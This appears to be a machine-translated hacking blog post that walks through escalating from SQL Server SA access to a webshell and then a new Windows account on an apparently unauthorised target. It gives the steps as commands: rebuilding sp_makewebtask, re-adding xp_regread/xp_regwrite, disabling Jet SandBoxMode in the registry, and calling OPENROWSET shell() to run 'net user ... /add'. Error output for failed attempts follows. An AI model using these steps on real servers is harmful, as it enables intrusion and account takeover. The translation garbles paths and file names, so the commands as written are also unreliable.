Small tips of sandbox elevation

 
Today, we found that we have a SA permission. The server administrator has deleted most of the extensions. Finally, I rebuilt the sp_makewebtask storage to get a webshell. (Reconstruction Method: first find a normal host, sp_helptext sp_makewebtask, and copy its SQL statement to the target machine for execution ).

Of course, with webshell, we cannot satisfy our greedy desires. Start to test privilege escalation. Serv-u exists, but permission escalation fails. You may say that back log is used for permission escalation. However, it is too slow. Restarting the machine will affect the business of the other party and leave a bad impression on the other party. Some people may say that it is feasible to read the registry of the system account, import, export, and clone accounts, we still need to ensure the security of the other system is better. (It may be a psychological factor, ^ _ ^)

Finally, we had to try the sandbox mode. Many people have succeeded in many machines directly using the sandbox mode, but I have never practiced it, and I am not quite clear about the success rate. He had to use him as a zombie.

Because the extension is deleted, the Read and Write storage of the Registry is restored first.

Dbcc addextendedproc (xp_regread, xpstar. dll)

Dbcc addextendedproc (xp_regwrite, xpstar. dll)

Fixed the sandbox protection mode.

Exec master.. xp_regwrite HKEY_LOCAL_MACHINE, SOFTWAREMicrosoftJet4.0Engines, SandBoxMode, REG_DWORD, 0 ;--

Check whether the SandBoxMode value has changed to 0.

Exec master. dbo. xp_regread HKEY_LOCAL_MACHINE, SOFTWAREMicrosoftJet4.0Engines, SandBoxMode

Finally, the sandbox mode is called.

Select * from openrowset (microsoft. jet. oledb.4.0,; database = C: WINDOWSsystem32iasdnary. mdb, select shell ("cmd.exe/c net user passwd/add "))

1. If the sandbox protection mode is not "disabled", an error is returned:

Server: Message 7357, level 16, status 2, Row 1
The select shell ("cmd.exe/c net user passwd/add") object cannot be processed "). Ole db Provider microsoft. jet. oledb.4.0 indicates that this object does not contain any columns.
Ole db error Tracking [Non-interface error: ole db provider unable to process object, since the object has no columnsProviderName = microsoft. jet. oledb.4.0, Query = select shell ("cmd.exe/c net user passwd/add")].

2. If. mdb does not exist or the input path is incorrect

Server: Message 7399, level 16, status 1, Row 1
The ole db Provider microsoft. jet. oledb.4.0 reports an error.
[OLE/DB provider returned message: the file C: WINDOWSsystem32iasdnary1. mdb is not found.]
Ole db Error Tracking [OLE/DB Provider microsoft. jet. oledb.4.0 IDBInitialize: Initialize returned 0x80004005:].

3. If some spaces are added during the input, an error is returned. Pay special attention to this. Many people directly copy and paste articles online for execution.

Server: Message 7357, level 16, status 2, Row 1
The select shell ("cmd.exe/c net user passwd/add") object cannot be processed "). Ole db Provider microsoft. jet. oledb.4.0 indicates that this object does not contain any columns.
Ole db error Tracking [Non-interface error: ole db provider unable to process object, since the object has no columnsProviderName = microsoft. jet. oledb.4.0, Query = select shell ("cmd.exe/c net user passwd/add")].

4.if the mdbpermission and cmd.exe permission are incorrect, the problem also occurs.

When the mdb permission is incorrect,

Server: Message 7320, level 16, status 2, Row 1
Failed to query ole db Provider Microsoft. Jet. OLEDB.4.0.
[OLE/DB provider returned message: Unknown]
Ole db Error Tracking [OLE/DB Provider Microsoft. Jet. OLEDB.4.0 ICommandText: Execute returned 0x80040e14].

5. If the net permission is incorrect, there is no prompt.

The final authorization method uploads the system's ias.mdband ipv.exe, and net.exe files under the current web directory. Run

Select * from openrowset (microsoft. jet. oledb.4.0,; database = E: webias. mdb, select shell ("E: webdesk.exe/c E: webnet.exe user passwd/add "))

A computer user is added.